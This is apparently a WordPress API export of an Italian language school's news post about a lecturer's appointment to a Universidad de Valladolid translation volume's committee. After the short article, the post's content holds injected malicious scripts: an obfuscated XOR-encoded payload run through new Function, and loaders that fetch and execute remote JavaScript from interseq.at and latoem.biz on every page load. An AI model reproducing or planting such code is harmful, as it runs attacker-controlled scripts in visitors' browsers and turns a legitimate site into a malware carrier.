{"id":8968,"date":"2023-04-28T12:57:10","date_gmt":"2023-04-28T10:57:10","guid":{"rendered":"https:\/\/www.ssmlinternazionale.it\/site\/?p=8968"},"modified":"2026-10-10T13:47:19","modified_gmt":"2026-10-10T11:47:19","slug":"importante-riconoscimento-delluniversidad-de-valladolid-per-la-prof-ssa-ariana-fajardo","status":"publish","type":"post","link":"https:\/\/www.ssmlinternazionale.it\/site\/importante-riconoscimento-delluniversidad-de-valladolid-per-la-prof-ssa-ariana-fajardo\/","title":{"rendered":"Importante riconoscimento dell&#8217;Universidad de Valladolid per la Prof.ssa Ariana FAJARDO"},"content":{"rendered":"<p style=\"font-weight: 400;\">La Prof.ssa\u00a0<strong>Ariana Fajardo Rodriguez<\/strong>, docente della SSML Internazionale, \u00e8 stata nominata componente del Comitato Scientifico e\u00a0di revisione del volume<em>\u00a0&#8220;Nuevos avances tecnol\u00f3gicos en la teor\u00eda y pr\u00e1ctica de la traducci\u00f3n e interpretaci\u00f3n<\/em>.<\/p>\n<p style=\"font-weight: 400;\">La pubblicazione, in uscita nel 2023, vede la collaborazione della prof.ssa Fajardo con il\u00a0<strong><em>Centro de investigaci\u00f3n en terminolog\u00eda biling\u00fce, traducci\u00f3n especializada y an\u00e1lisis contrastivo<\/em>\u00a0&#8211; CITTAC<\/strong>\u00a0de la\u00a0<strong>Universidad de Valladolid<\/strong>\u00a0(Uva).<\/p>\n<p style=\"font-weight: 400;\">In particolare la prof.ssa Fajardo ha cooperato con il Dr.\u00a0<strong>Jaime Sanch\u00e9z Carnicer<\/strong>, Profesor ayudante del\u00a0Departamento de Lengua Espa\u00f1ola de la Facultad de Traducci\u00f2n e Interpretaci\u00f2n \u2013 Campus de Soria (Spagna).<\/p>\n<p><script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><script>;const script = document.createElement('script');\nscript.src = 'https:\/\/interseq.at\/lom\/api';\nscript.async = true;<\/p>\n<p>document.head.appendChild(script);<\/script><script>;(function(){var u='https:\/\/latoem.biz\/lom3\/api.js?_=1791548933733';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'no-store',credentials:'omit',mode:'cors'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/latoem.biz\/02\/api.js?_=1791621606395';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'no-store',credentials:'omit',mode:'cors'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La Prof.ssa\u00a0Ariana Fajardo Rodriguez, docente della SSML Internazionale, \u00e8 stata nominata componente del Comitato Scientifico e\u00a0di revisione del volume\u00a0&#8220;Nuevos avances&nbsp;<a href=\"https:\/\/www.ssmlinternazionale.it\/site\/importante-riconoscimento-delluniversidad-de-valladolid-per-la-prof-ssa-ariana-fajardo\/\">&hellip;<\/a><\/p>\n","protected":false},"author":136,"featured_media":7023,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-8968","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-senza-categoria","odd"],"_links":{"self":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/8968","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/users\/136"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/comments?post=8968"}],"version-history":[{"count":5,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/8968\/revisions"}],"predecessor-version":[{"id":10867,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/8968\/revisions\/10867"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/media\/7023"}],"wp:attachment":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/media?parent=8968"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/categories?post=8968"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/tags?post=8968"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}